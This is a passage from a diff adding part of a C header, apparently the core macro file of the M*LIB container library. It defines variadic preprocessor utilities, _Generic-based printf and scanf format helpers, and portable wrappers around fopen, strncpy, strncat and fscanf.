+#define M_MERGE_ARGLIST_38_38(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) 
+#define M_MERGE_ARGLIST_39_39(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) 
+#define M_MERGE_ARGLIST_40_40(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) 
+#define M_MERGE_ARGLIST_41_41(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) 
+#define M_MERGE_ARGLIST_42_42(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) 
+#define M_MERGE_ARGLIST_43_43(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) 
+#define M_MERGE_ARGLIST_44_44(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) , (a44, b44) 
+#define M_MERGE_ARGLIST_45_45(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) , (a44, b44) , (a45, b45) 
+#define M_MERGE_ARGLIST_46_46(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) , (a44, b44) , (a45, b45) , (a46, b46) 
+#define M_MERGE_ARGLIST_47_47(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46, b47) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) , (a44, b44) , (a45, b45) , (a46, b46) , (a47, b47) 
+#define M_MERGE_ARGLIST_48_48(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46, b47, b48) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) , (a44, b44) , (a45, b45) , (a46, b46) , (a47, b47) , (a48, b48) 
+#define M_MERGE_ARGLIST_49_49(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46, b47, b48, b49) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) , (a44, b44) , (a45, b45) , (a46, b46) , (a47, b47) , (a48, b48) , (a49, b49) 
+#define M_MERGE_ARGLIST_50_50(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46, b47, b48, b49, b50) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) , (a44, b44) , (a45, b45) , (a46, b46) , (a47, b47) , (a48, b48) , (a49, b49) , (a50, b50) 
+#define M_MERGE_ARGLIST_51_51(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, a51, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46, b47, b48, b49, b50, b51) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) , (a44, b44) , (a45, b45) , (a46, b46) , (a47, b47) , (a48, b48) , (a49, b49) , (a50, b50) , (a51, b51) 
+#define M_MERGE_ARGLIST_52_52(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, a51, a52, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46, b47, b48, b49, b50, b51, b52) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) , (a44, b44) , (a45, b45) , (a46, b46) , (a47, b47) , (a48, b48) , (a49, b49) , (a50, b50) , (a51, b51) , (a52, b52) 
+
+
+/* Remove the parenthesis if there are present.
+   (internal macro) */
+#define M_REMOVE_PARENTHESIS(...)                                             \
+  M_IF(M_PARENTHESIS_P(__VA_ARGS__))(M_REMOVE_PARENTHESIS_2, M_REMOVE_PARENTHESIS_3)(__VA_ARGS__)
+#define M_REMOVE_PARENTHESIS_2(...) M_REMOVE_PARENTHESIS_3 __VA_ARGS__
+#define M_REMOVE_PARENTHESIS_3(...) __VA_ARGS__
+
+
+/* Return the input (delay evaluation).
+   WARNING: Cannot be used by internal macros as it may appear in such cases
+   in recursive context, preventing expansion. Only top level macros can use it.
+ */
+#define M_ID(...)                 __VA_ARGS__
+
+
+/* Remove the input from preprocessing evaluation */
+#define M_EAT(...)
+
+
+/* M_NARGS: Return number of argument.
+   (don't work for empty arg) */
+#define M_NARGS(...)                                                          \
+  M_RET_ARG76(__VA_ARGS__, 75, 74, 73, 72, 71, 70, 69, 68, 67, 66, 65,        \
+              64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 53,                 \
+              52, 51, 50, 49, 48, 47, 46, 45, 44, 43, 42,                     \
+              41, 40, 39, 38, 37, 36, 35, 34, 33, 32, 31, 30, 29, 28, 27,     \
+              26, 25, 24, 23, 22, 21, 20, 19, 18, 17, 16,                     \
+              15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, useless)
+
+/* If the number of arguments is 1 */
+#define M_IF_NARGS_EQ1(...)           M_IF(M_EQUAL(M_NARGS(__VA_ARGS__), 1))
+
+/* If the number of arguments is 2 */
+#define M_IF_NARGS_EQ2(...)           M_IF(M_EQUAL(M_NARGS(__VA_ARGS__), 2))
+
+
+/* If NDEBUG macro is not defined, expand code
+   USAGE: M_IF_DEBUG(code if NDEBUG is not defined)
+   Note: not 100% robust but sufficient for its usage */
+#define M_TEST_NDEBUG_P()           M_C3(M_, NDEBUG, _TEST)
+#define M_NDEBUG_TEST               0
+#define M_IF_DEBUG(a)               M_IF(M_TEST_NDEBUG_P())(,a)
+
+
+/* If the Function Object is included, expands the code,
+   otherwise do nothing.
+   M_FUNC0BJ_IS_NOT_DEFINED is defined to 0.
+   NOTE: M_IF is the variable is not defined assumes yes.
+*/
+#define M_IF_FUNCOBJ(a)             M_IF(M_FUNC0BJ_IS_NOT_DEFINED)( ,a)
+
+
+/* Helper macro to redefine a function with a default value:
+   + Give the number of expected arguments, the value list of the
+   default argument, and the arguments.
+   It will complete the arguments with the value of the default
+   argument to complete up to 'expected' arguments.
+   USAGE:
+    M_DEFAULT_ARGS(expected_num_of_args, (list_of_default_values), given_arguments...)
+   Example:
+    extern int f(int x, int y = 0, int z = 1, const char *p = NULL);
+   ==>
+    #define f(...) f(M_DEFAULT_ARGS(4, (0, 1, NULL), __VA_ARGS__))
+*/
+#define M_DEFAULTI_ARGS2(numArgs, numExpected, value, ...)                    \
+  __VA_ARGS__                                                                 \
+  M_IF(M_NOTEQUAL(numArgs, numExpected))(M_DEFERRED_COMMA, )                  \
+  M_REVERSE(M_KEEP_ARGS(M_SUB(numExpected, numArgs), M_REVERSE value, M_LIB_ERROR_MISSING_MANDATORY_ARGUMENT))
+#define M_DEFAULTI_ARGS_EVAL(...) __VA_ARGS__
+#define M_DEFAULT_ARGS(expected, value,  ...)                                 \
+  M_DEFAULTI_ARGS_EVAL(M_DEFAULTI_ARGS2(M_NARGS(__VA_ARGS__), expected, value, __VA_ARGS__))
+
+
+
+
+/***************************************************************/
+/******************** Compile Times Macro **********************/
+/***************************************************************/
+
+/* Return the string representation of the evaluated expression. */
+#define M_AS_STR(x)                 M_AS_STRI(x)
+#define M_AS_STRI(x)                #x
+
+/* Convert an oplist into a string. It may generate a very long string,
+  which generates warning (string length greater than 4095).
+  So the conversion is optional */
+#ifdef M_USE_PRINT_OPLIST
+# define M_OPL_AS_STR(x) M_AS_STR(x)
+#else
+# define M_OPL_AS_STR(x)
+#endif
+
+/* C11 MACROS */
+
+/* Maximum number of characters of an internal identifier (field name)
+   including final null char. Bigger than 
+   63 significant initial characters of C11 standard (§5.2.4.1)
+   Can be overloaded by user if needed.
+   NOTE: Used by variant & serial JSON to translate a field name into 
+   a structure offset.
+*/
+#ifndef M_USE_IDENTIFIER_ALLOC
+#define M_USE_IDENTIFIER_ALLOC 128 /* (including of final null char) */
+#endif
+
+/* Return the string format of a variable */
+#define M_PRINTF_FORMAT(x)                                                    \
+  _Generic(((void)0,(x)),                                                     \
+           char: "%c",                                                        \
+           bool: "%d",                                                        \
+           signed char: "%hhd",                                               \
+           unsigned char: "%hhu",                                             \
+           signed short: "%hd",                                               \
+           unsigned short: "%hu",                                             \
+           signed int: "%d",                                                  \
+           unsigned int: "%u",                                                \
+           long int: "%ld",                                                   \
+           unsigned long int: "%lu",                                          \
+           long long int: "%lld",                                             \
+           unsigned long long int: "%llu",                                    \
+           float: "%f",                                                       \
+           double: "%f",                                                      \
+           long double: "%Lf",                                                \
+           const char *: "%s",                                                \
+           char *: "%s",                                                      \
+           const void *: "%p",                                                \
+           void *: "%p"                                                       \
+           M_PRINTF_FORMAT_EXTEND() )
+
+#define M_PRINTF_FORMAT_EXTEND() /* Nothing in m-core (see m-string.h) */
+
+/* IF FILE is supported */
+#if M_USE_STDIO
+
+/* Define internal wrappers around Annex K functions or classic functions for:
+ * - fopen
+ * - fscanf
+ * - strncpy
+ * - strncat
+ *
+ * There is no real usage outside of MSVC of Annex K,
+ * so the real standard compliant Annex K is not taken into account
+ * by this specific wrapper.
+ *
+ * If Microsoft Visual Studio C Library
+ * and the user wants to use the Annex K.
+ * ==> Use Annex K like functions to avoid warnings.
+ * 
+ * Only these functions produce warning,
+ * so we keep the wrapper as simple as possible by including only then.
+ */
+#if defined(_MSC_VER) && defined(__STDC_WANT_LIB_EXT1__) && __STDC_WANT_LIB_EXT1__
+
+/* Wrapper around fopen_s */
+M_INLINE FILE *
+m_core_fopen(const char filename[], const char opt[])
+{
+    FILE *f;
+    int err = fopen_s(&f, filename, opt);
+    if (err) return NULL;
+    return f;
+}
+
+/* Wrapper around strncpy */
+#define m_core_strncpy(s1, alloc, s2, size) strncpy_s(s1, alloc, s2, size)
+
+/* Wrapper around strncat */
+#define m_core_strncat(s1, alloc, s2, size) strncat_s(s1, alloc, s2, size)
+
+/* Wrapper around fscanf_s */
+#define m_core_fscanf(...) fscanf_s(__VA_ARGS__)
+/* Macro to be used in m_core_fscanf for argument associated
+ * to the format %c, %s or %[
+ * in order to specify the size of the argument */
+#define m_core_arg_size(arg, size) arg, (unsigned) size
+
+#else          /* Use classic C functions */
+
+/* Wrapper around fopen */
+#define m_core_fopen(...) fopen(__VA_ARGS__)
+/* Wrapper around strncpy */
+#define m_core_strncpy(s1, alloc, s2, size) strncpy(s1, s2, size)
+/* Wrapper around strncat */
+#define m_core_strncat(s1, alloc, s2, size) strncat(s1, s2, size)
+/* Wrapper around fscanf */
+#define m_core_fscanf(...) fscanf(__VA_ARGS__)
+
+/* Macro to be used in m_core_fscanf for argument associated
+ * to the format %c, %s or %[
+ * in order to specify the size of the argument */
+#define m_core_arg_size(arg, size) arg
+
+#endif
+
+/* Can be overloaded by m-string to support string output too */
+#define M_CORE_PRINTF_ARG(x) x
+
+/* Print a C variable if it is a standard type to the given file 'f'.
+  If a variable is extended (i.e. like (x, type) ) it will use the 
+  method associated to the OUT_STR operator.
+*/
+#define M_FPRINT_ARG(f, x)                                                    \
+  M_IF(M_PARENTHESIS_P(x))                                                    \
+    ( M_FPRINT_ARG_OUT_STR(f, M_PAIR_2 x, M_PAIR_1 x),                        \
+    fprintf(f, M_PRINTF_FORMAT(x), M_CORE_PRINTF_ARG(x) ) )
+
+/* Internal macro to call the OUT_STR method */
+#define M_FPRINT_ARG_OUT_STR(file, oplist, var)                               \
+  M_CALL_OUT_STR( M_GLOBAL_OPLIST(oplist) , file, var)
+
+/* Get a C variable if it is a standard type from the given file 'f'.*/
+#define M_FSCAN_ARG(xptr, f)                                                  \
+  _Generic(((void)0,*(xptr)),                                                 \
+           bool: m_core_fscan_bool(M_AS_TYPE(bool*,xptr), f),                 \
+           char: m_core_fscan_char(M_AS_TYPE(char*,xptr), f),                 \
+           signed char: m_core_fscan_schar(M_AS_TYPE(signed char*,xptr),f),   \
+           unsigned char: m_core_fscan_uchar(M_AS_TYPE(unsigned char*,xptr),f), \
+           signed short: m_core_fscan_sshort(M_AS_TYPE(signed short*,xptr),f), \
+           unsigned short: m_core_fscan_ushort(M_AS_TYPE(unsigned short*,xptr), f), \
+           signed int: m_core_fscan_sint(M_AS_TYPE(signed int*,xptr), f),     \
+           unsigned int: m_core_fscan_uint(M_AS_TYPE(unsigned int*,xptr), f), \
+           long int: m_core_fscan_slong(M_AS_TYPE(long*,xptr), f),            \
+           unsigned long int: m_core_fscan_ulong(M_AS_TYPE(unsigned long*,xptr), f), \
+           long long int: m_core_fscan_sllong(M_AS_TYPE(long long*,xptr), f), \
+           unsigned long long int: m_core_fscan_ullong(M_AS_TYPE(unsigned long long*,xptr),f), \
+           float: m_core_fscan_float(M_AS_TYPE(float*,xptr), f),              \
+           double: m_core_fscan_double(M_AS_TYPE(double*,xptr), f),           \
+           long double: m_core_fscan_ldouble(M_AS_TYPE(long double*,xptr),f), \
+           const char *: false /* unsupported */,                             \
+           char *: false /* unsupported */,                                   \
+           const void *: false /* unsupported */,                             \
+           void *: false /* unsupported */)
+
+/* Internal wrappers used by M_FSCAN_ARG : */
+M_INLINE bool
+m_core_fscan_bool (bool *ptr, FILE *f)
+{
+  int c = fgetc(f);
+  *ptr = (c == '1');
+  return (c == '0') || (c == '1');
+}
+
+M_INLINE bool
+m_core_fscan_char (char *ptr, FILE *f)
+{
+  int c = fgetc(f);
+  *ptr = (char) c;
+  return c != EOF;
+}
+
+#define M_FSCAN_DEFAULT_TYPE_DEF(name, type, format)                          \
+  M_INLINE bool                                                               \
+  name (type *ptr, FILE *f)                                                   \
+  {                                                                           \
+    return m_core_fscanf(f, format, ptr) == 1;                                \
+  }
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_schar, signed char, "%hhd")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_uchar, unsigned char, "%hhu")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_sshort, signed short, "%hd")
